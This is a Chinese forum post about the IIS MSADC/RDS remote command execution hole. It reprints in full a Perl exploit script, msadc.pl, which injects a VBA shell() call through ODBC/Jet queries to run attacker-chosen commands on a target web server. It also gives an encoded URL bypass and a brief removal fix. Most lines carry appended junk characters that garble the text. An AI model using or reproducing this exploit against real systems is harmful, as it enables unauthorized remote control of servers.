社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166004阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #bGt%*Re p  
lAoH@+dyA+  
涉及程序: DukCXyB*l  
Microsoft NT server ?(mlt"tPk  
K(_nfE{  
描述: -JcfP+{wS  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 nJ6bC^*)U  
ub-ZrC'  
详细: UCl,sn  
如果你没有时间读详细内容的话,就删除: iR_X,&p   
c:\Program Files\Common Files\System\Msadc\msadcs.dll M[X& Q  
有关的安全问题就没有了。 8&3G|m1-2  
m:'fk;khN  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 @P% &Dha  
wL}=$DN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 TEY%OI zU+  
关于利用ODBC远程漏洞的描述,请参看: M*t{?o/t;  
[1N*mY;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2r1., 1  
s:Memvf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 chxO*G  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,l~i|_  
$oh}!Smt  
这里不再论述。 lwa  
]/U)<{6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: IAg#YFI  
Wz9 }glr  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset * c xYB  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! mio\}S A  
Ru2kC} Dx!  
=n9|r.\&uJ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" @c5TSHSL.  
8E|S`I  
#!perl `|I h"EZ  
# wVp  
# MSADC/RDS 'usage' (aka exploit) script v\&Wb_;A  
# :dB6/@f W  
# by rain.forest.puppy ZXp=QH+f  
# 40mgB4I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 58WL8xu  
# beta test and find errors! ?&"-y)FG  
u>d,6 !  
use Socket; use Getopt::Std; G/=tC8eX  
getopts("e:vd:h:XR", \%args); W* N^Gp@  
=`u4xa#m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; FL- sXg  
,|}Pof=]xk  
if (!defined $args{h} && !defined $args{R}) { o AvX(  
print qq~ O TSbhI'v  
Usage: msadc.pl -h <host> { -d <delay> -X -v } U }xRvNz  
-h <host> = host you want to scan (ip or domain) tvavI9  
-d <seconds> = delay between calls, default 1 second wU+-;C5e  
-X = dump Index Server path table, if available -FdhV%5]  
-v = verbose Eqnc("m)  
-e = external dictionary file for step 5 <w<&,xM  
p"3_u;cN  
Or a -R will resume a command session NZCPmst  
bfhap(F~(e  
~; exit;} O\8_;Gc;  
WF`y j%0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  {|a=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .r$d 8J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 6Xbo:#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $SA8$!:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {p-&8-  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } HvLvSy1U  
Xb.WI\Eh  
if (!defined $args{R}){ $ret = &has_msadc; }GRZCX>  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7:<co  
tWT@%(2~0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" }HRM6fR1S  
. "cmd /c "; a;8q7nC  
$in=<STDIN>; chomp $in; E:!?A@Fy  
$command="cmd /c " . $in ; C,HKao\  
c/%i,N\5  
if (defined $args{R}) {&load; exit;} cba ~  
^1nQDd*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Kj.4Z+^  
&try_btcustmr; #Fm,mO$v  
\%g# __\  
print "\nStep 2: Trying to make our own DSN..."; t&*X~(Yb!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -YPUrU[)  
:/A3l=}iV  
print "\nStep 3: Trying known DSNs..."; Pm*FA8a7  
&known_dsn; s8Bbe t  
o)GLh^g_I'  
print "\nStep 4: Trying known .mdbs..."; R,>LUa*u  
&known_mdb; R utRA  
2M1}`H\  
if (defined $args{e}){ "Y-_83  
print "\nStep 5: Trying dictionary of DSN names..."; iK%%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } lpi^<LQ@l  
jv_z%`  
print "Sorry Charley...maybe next time?\n"; w7+3?'L  
exit; OXAr..  
$qO%lJ:  
############################################################################## 8A}cxk  
2 ,RO  
sub sendraw { # ripped and modded from whisker bVO{,P2 o  
sleep($delay); # it's a DoS on the server! At least on mine... C3>&O?7J*7  
my ($pstr)=@_; P+K< /i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _!2bZ:emG  
die("Socket problems\n"); XA PqRJ*Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ mhpaPin*JS  
select(S); $|=1; Vz[tgb]-  
print $pstr; my @in=<S>; X+dLk(jI`u  
select(STDOUT); close(S); G6@XRib3  
return @in; )i|0Ubn[|  
} else { die("Can't connect...\n"); }} J$"3w,O6+U  
l/ufu[x!a  
############################################################################## f2ea|l  
)"KKBil0  
sub make_header { # make the HTTP request p(vmMWR!  
my $msadc=<<EOT 8725ET t  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Ps<;DE\$f4  
User-Agent: ACTIVEDATA =cz^g^7  
Host: $ip <MdIQ;I8  
Content-Length: $clen p^J=*jm)x  
Connection: Keep-Alive {B|)!_M#  
#s% _ L  
ADCClientVersion:01.06 &pCa{p  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ePLpGT  
iX (<ozH  
--!ADM!ROX!YOUR!WORLD! ZMa@/\pf1  
Content-Type: application/x-varg x6N)T4J(  
Content-Length: $reqlen |0^~S  
M it3q  
EOT FglW|Hwy  
; $msadc=~s/\n/\r\n/g; .! 'SG6 q  
return $msadc;} MEKsL7  
Y-YlQ ^  
############################################################################## f(SK[+aqW  
|f67aN  
sub make_req { # make the RDS request x#)CH}J  
my ($switch, $p1, $p2)=@_; GoSdo  
my $req=""; my $t1, $t2, $query, $dsn; f N_8HP6&  
9:9gam  
if ($switch==1){ # this is the btcustmr.mdb query 3:wN^!A}ve  
$query="Select * from Customers where City=" . make_shell(); C6` Tck!  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3mP251"dIW  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2J;_9 g&M  
,9~=yC  
elsif ($switch==2){ # this is general make table query e2F{}N  
$query="create table AZZ (B int, C varchar(10))"; v0q(k;Ya  
$dsn="$p1";} 6~b)Hc/  
^GL>xlZ(  
elsif ($switch==3){ # this is general exploit table query j;TXZ`|(  
$query="select * from AZZ where C=" . make_shell(); 4 x|yzUx  
$dsn="$p1";} L*(Sh2=_  
H;w8[ImK  
elsif ($switch==4){ # attempt to hork file info from index server ?q{HS&k  
$query="select path from scope()"; % H/V iC  
$dsn="Provider=MSIDXS;";} tXXnHEz  
^K3Bn  
elsif ($switch==5){ # bad query -F7P$/9  
$query="select"; -_[ZRf?^  
$dsn="$p1";} yor6h@F1  
IEmjWw4  
$t1= make_unicode($query); 0#y i5U  
$t2= make_unicode($dsn); |&u4Q /0  
$req = "\x02\x00\x03\x00"; dQljG.PiK  
$req.= "\x08\x00" . pack ("S1", length($t1)); BS*Y3$  
$req.= "\x00\x00" . $t1 ; XU5GmGu_+  
$req.= "\x08\x00" . pack ("S1", length($t2)); AJYZ`  
$req.= "\x00\x00" . $t2 ; 0]k-0#JM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4"^v]&I  
return $req;} &9OnN<mT1  
jCp^CNbA  
############################################################################## ;M<R e  
ZVIlVuZ}  
sub make_shell { # this makes the shell() statement y?P4EVknM3  
return "'|shell(\"$command\")|'";} %n B}Hq ;  
hEhvA6f,  
############################################################################## <rI8O;\H  
C.`!?CW  
sub make_unicode { # quick little function to convert to unicode SX1w5+p$C  
my ($in)=@_; my $out; Gr&YzbSX  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } i+@t_pxc  
return $out;} D;! aix3  
O&g$dK!Rad  
############################################################################## &"6%D|Z0  
+bdjZD3  
sub rdo_success { # checks for RDO return success (this is kludge) 1c4@qQyo  
my (@in) = @_; my $base=content_start(@in); K#;EjR4H  
if($in[$base]=~/multipart\/mixed/){ AGGNJ4m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Xn6'*u>+;[  
return 0;} PN"SBsc*j-  
nnZM{< !hF  
############################################################################## +/ U6p!  
/ LC!|-1E  
sub make_dsn { # this makes a DSN for us _z6" C8W  
my @drives=("c","d","e","f"); sjj,q?  
print "\nMaking DSN: "; k#"}oI{< 6  
foreach $drive (@drives) { GUcGu5tw:  
print "$drive: "; 8i~n;AhDs  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . WH lvd  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ana?;NvC  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); *\#?)q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  WfH4*e  
return 0 if $2 eq "404"; # not found/doesn't exist f#3!Q!C^  
if($2 eq "200") { m {?uR.O  
foreach $line (@results) { !SAR/sdXf  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ? t_$C,A+  
} return 0;} :9]"4ktoJ  
w,VUWja  
############################################################################## 1kczlTF  
d>hLnz1O  
sub verify_exists { krecUpo  
my ($page)=@_; i p; RlO  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -F&*>?I  
return $results[0];} lG R6S  
chszP{-@X  
############################################################################## bM>5=Zox  
' }T6dS  
sub try_btcustmr { wvz_)b N~A  
my @drives=("c","d","e","f"); cr>"LAi  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R4 AKp1Y  
Sp\ 7  
foreach $dir (@dirs) { JW9U&Bj{  
print "$dir -> "; # fun status so you can see progress &Xp<%[:  
foreach $drive (@drives) { NsF8`r g  
print "$drive: "; # ditto eUEO~M2&U{  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; EZ)$lw/!J  
$reqlenlen=length( "$reqlen" ); wq>0W 4(  
$clen= 206 + $reqlenlen + $reqlen; Z"5ewU<?  
&Ef_p-e-P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !8}x6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} m!sMr^W  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} uoMDf{d  
$;As7MI  
############################################################################## g1(`a`M  
2[~|6 @n  
sub odbc_error { L9^h .Y7  
my (@in)=@_; my $base; V[fcP;   
my $base = content_start(@in); !A=>B=.|D  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this |YWX.-aeo  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [fIElH<  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g3kF&+2i  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $[M5V v  
return $in[$base+4].$in[$base+5].$in[$base+6];} m$H(l4wB>  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  IA{I|g<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ES9|eo6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} jQi)pVT^  
G21cJi*  
############################################################################## ,%U'>F?  
,_!MI+o0  
sub verbose { 1zWEK]2.R  
my ($in)=@_; :GN7JxD#  
return if !$verbose; -=VGXd  
print STDOUT "\n$in\n";} tY0C& u2  
e>Q_&6L  
############################################################################## b^C2<'  
'G8.)eTA'  
sub save { cRS2v--\-  
my ($p1, $p2, $p3, $p4)=@_; B^lm'/,@  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (C60HbL  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; eG\`SKx_  
close OUT;} 9xM7X?  
ctT6va  
############################################################################## pHv~^L%=  
sFa5#w*>  
sub load { '/~j!H4q9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; B,avI&7M;S  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Jwe9L^gL  
@p=<IN>; close(IN); WN9K*Tt~o&  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); C ]+J  
$target= inet_aton($ip) || die("inet_aton problems"); | x/Z qY  
print "Resuming to $ip ..."; ylPDM7Ka  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; rBrJTF:.  
if($p[1]==1) { KQ2jeJ/pj  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; +"F9yb  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; JVt(!%K}&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); n Wb0S  
if (rdo_success(@results)){print "Success!\n";} D/Hob  
else { print "failed\n"; verbose(odbc_error(@results));}} |n q}#  
elsif ($p[1]==3){ V>:ubl8j0l  
if(run_query("$p[3]")){ -Gn0TA2/C  
print "Success!\n";} else { print "failed\n"; }} uBqZ62{G  
elsif ($p[1]==4){ AD4Ot5  
if(run_query($drvst . "$p[3]")){ *Rj(~Q/t  
print "Success!\n"; } else { print "failed\n"; }} sJB::6+1(|  
exit;} >uVr;,=y  
1Aw/-FxJ  
############################################################################## TYN~c(  
jw$[b=sa  
sub create_table { w//L2.  
my ($in)=@_; gbL!8Z1h  
$reqlen=length( make_req(2,$in,"") ) - 28; a@}A;y'd  
$reqlenlen=length( "$reqlen" ); %VmHw~xyF:  
$clen= 206 + $reqlenlen + $reqlen; 0 V3`rK  
my @results=sendraw(make_header() . make_req(2,$in,"")); <P#]U"?A  
return 1 if rdo_success(@results); oY8S-N;(t  
my $temp= odbc_error(@results); verbose($temp); {v~.zRW%]r  
return 1 if $temp=~/Table 'AZZ' already exists/; 5&N55? G6  
return 0;} a^QyYX}\qR  
lCC(N?%Q  
############################################################################## |}KNtIX\G  
1:VbbOu->V  
sub known_dsn { TaTs-]4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go &(t/4)IZox  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4Y:[YlfD.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 0OAHD'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); uSU[Y,'x  
B?p18u$i#l  
foreach $dSn (@dsns) { Yk!TQY4  
print "."; iQJ[?l`  
next if (!is_access("DSN=$dSn")); ouf91<n  
if(create_table("DSN=$dSn")){ 64w4i)?eM[  
print "$dSn successful\n"; v\3}5v%YI  
if(run_query("DSN=$dSn")){ 3r]N\c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 60@]^g;$I  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1Kc[ ).O1  
NvU~?WN  
############################################################################## +=&A1{kR3  
WPu{ ]<pl  
sub is_access { eh5j  
my ($in)=@_; KOHYeiry~A  
$reqlen=length( make_req(5,$in,"") ) - 28; Tye[iJ  
$reqlenlen=length( "$reqlen" ); 5^7q 2".  
$clen= 206 + $reqlenlen + $reqlen; ]v,>!~8r  
my @results=sendraw(make_header() . make_req(5,$in,"")); QfHO3Y6h[  
my $temp= odbc_error(@results); %jnSJjcq  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); csNB  \  
return 0;} [K4wd%+  
afNqK~  
############################################################################## 8dY Pn+`  
w\QMA3  
sub run_query { l\%LT{$e  
my ($in)=@_; SFQYrY  
$reqlen=length( make_req(3,$in,"") ) - 28; u[;,~eB%w  
$reqlenlen=length( "$reqlen" ); ** !  
$clen= 206 + $reqlenlen + $reqlen; Gn7P` t*.  
my @results=sendraw(make_header() . make_req(3,$in,"")); mpysnKH  
return 1 if rdo_success(@results); W]U}, g8Z  
my $temp= odbc_error(@results); verbose($temp); @Wb_Sz4`  
return 0;} { i2QLS  
L}x,>hbT  
############################################################################## d9kN @W  
klwNeGF]N  
sub known_mdb { _0: }"!Gq  
my @drives=("c","d","e","f","g"); Sp>v`{F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); / Hg/)  
my $dir, $drive, $mdb; S B# Y^!  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;LjTsF'  
@#CZ7~Hn  
# this is sparse, because I don't know of many y_e$W3bON,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oR_qAb  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 1QPS=;|)  
"\\system32\\certmdb.mdb", #y:,owo3I  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% m_pqU(sP  
~qP_1() ?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", SV}C]<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %zCV>D  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,2C{X+t  
"\\cfusion\\cfapps\\security\\realm_.mdb", gvLzE&V}  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zIE{U  
"\\cfusion\\database\\cfexamples.mdb", ,9@JBV%_  
"\\cfusion\\database\\cfsnippets.mdb", +dgHl_,i  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", GL<u#[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Z2cumx(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Sq Y$\&%  
"\\cfusion\\database\\smpolicy.mdb", /suW{8A(E  
"\\cfusion\\database\cypress.mdb", eKw!%97>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #lld*I"d  
"\\website\\cgi-win\\dbsample.mdb", b)1v:X4Bv=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", F\G-. 1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" AZgeu$:7p<  
); #these are just zA g.,dA  
foreach $drive (@drives) { dr~6}S#  
foreach $dir (@dirs){ 9z0G0QW[  
foreach $mdb (@sysmdbs) { 7u|X . X  
print "."; Z|k>)pv@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Or9"T]z  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; XVwJr""+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ;p_@%*JAx  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D{)K00mm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X{YY)}^  
a?dUJt  
foreach $drive (@drives) { ]QbT%0  
foreach $mdb (@mdbs) { R5KOai!  
print "."; "xK#%eJjWd  
if(create_table($drv . $drive . $dir . $mdb)){ N9}27T+4  
print "\n" . $drive . $dir . $mdb . " successful\n"; *\!>22*  
if(run_query($drv . $drive . $dir . $mdb)){ RcG 1J7#i  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; =}1)/gcM  
} else { print "Something's borked. Use verbose next time\n"; }}}} }#Gq*^w  
} EpsjaOmAF  
,^K}_z\9f  
############################################################################## )A1u uW (  
??u*qO:p  
sub hork_idx { Wp2$L-T&$  
print "\nAttempting to dump Index Server tables...\n"; L)qDtXd4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $]`rWSYtv`  
$reqlen=length( make_req(4,"","") ) - 28; R|u2ga ~  
$reqlenlen=length( "$reqlen" ); HZJ)q`1E  
$clen= 206 + $reqlenlen + $reqlen; %UXmWXF4$  
my @results=sendraw2(make_header() . make_req(4,"","")); C^^AN~ZD  
if (rdo_success(@results)){ r\."=l  
my $max=@results; my $c; my %d; }gR!]Cs)^  
for($c=19; $c<$max; $c++){ 618k-  
$results[$c]=~s/\x00//g; #q mv(VB4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; rY,zZR+@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |mp~d<&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;  Ww&r  
$d{"$1$2"}="";} t3(~aH  
foreach $c (keys %d){ print "$c\n"; } JLn)U4>z w  
} else {print "Index server doesn't seem to be installed.\n"; }} Krw'|<  
<<M1:1  
############################################################################## LyuA("xB#  
&`^P O $  
sub dsn_dict { x=VLTH/oo  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "pInb5F  
while(<IN>){ lh`ZEvt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; nQaryL  
next if (!is_access("DSN=$dSn")); UrRYK-g  
if(create_table("DSN=$dSn")){ h7a/]~  
print "$dSn successful\n"; w =2; QJ<  
if(run_query("DSN=$dSn")){ ;Zt N9l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { fG_<HJS(~  
print "Something's borked. Use verbose next time\n";}}} ?l>Ra0  
print "\n"; close(IN);} D_)N!,i  
!(8) '<t9  
############################################################################## IDK~ (t  
#Y%(CI  
sub sendraw2 { # ripped and modded from whisker bHK[Z5  
sleep($delay); # it's a DoS on the server! At least on mine... 9~5LKg7Ac  
my ($pstr)=@_; P|tNmv[;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3'z L,WW  
die("Socket problems\n"); nIEIb.-  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4L_AhX7  
print "Connected. Getting data"; HrS-o=  
open(OUT,">raw.out"); my @in; ym;I(TC+  
select(S); $|=1; print $pstr; l0K_29^  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 9'Cu9nR  
close(OUT); select(STDOUT); close(S); return @in; nJ2910"<  
} else { die("Can't connect...\n"); }} u/.# zn@9h  
+k{l]-)1  
############################################################################## Ov~vK\  
"UUoT  
sub content_start { # this will take in the server headers +|6E~#zklY  
my (@in)=@_; my $c; }Dx5W9Ri"  
for ($c=1;$c<500;$c++) { fJK;[*&Y  
if($in[$c] =~/^\x0d\x0a/){ ;;}}uW=  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %{B4M#~  
else { return $c+1; }}} O^DLp/vM  
return -1;} # it should never get here actually =: =s  
t3<HE_B|  
############################################################################## kk$D:UQX  
)u=46EU_  
sub funky { U&o ~U] rm  
my (@in)=@_; my $error=odbc_error(@in); hH]oJ}H \  
if($error=~/ADO could not find the specified provider/){ t;b1<TLn0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 5;CqGzgoP  
exit;} >>T,M@s-:  
if($error=~/A Handler is required/){ #Fckev4  
print "\nServer has custom handler filters (they most likely are patched)\n"; B,4 3b O  
exit;} ,E &W{b  
if($error=~/specified Handler has denied Access/){ PnJA'@x  
print "\nServer has custom handler filters (they most likely are patched)\n"; !N74y%=M  
exit;}} f3SAK!V+s  
8E|FFHNK<2  
############################################################################## Bp/ k{7  
bo &QKK  
sub has_msadc { [H=l# W@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); <Q@{6  
my $base=content_start(@results); q22@ZRw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); H8A=]Gq  
return 0;} h3(B7n7  
us )NgG  
######################## $AF,4Ir-b+  
iUq{c+h  
`{&l _  
解决方案: I#- T/1N  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B*^8kc:)L  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '<aFd)-  
6Z!OD(/e  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五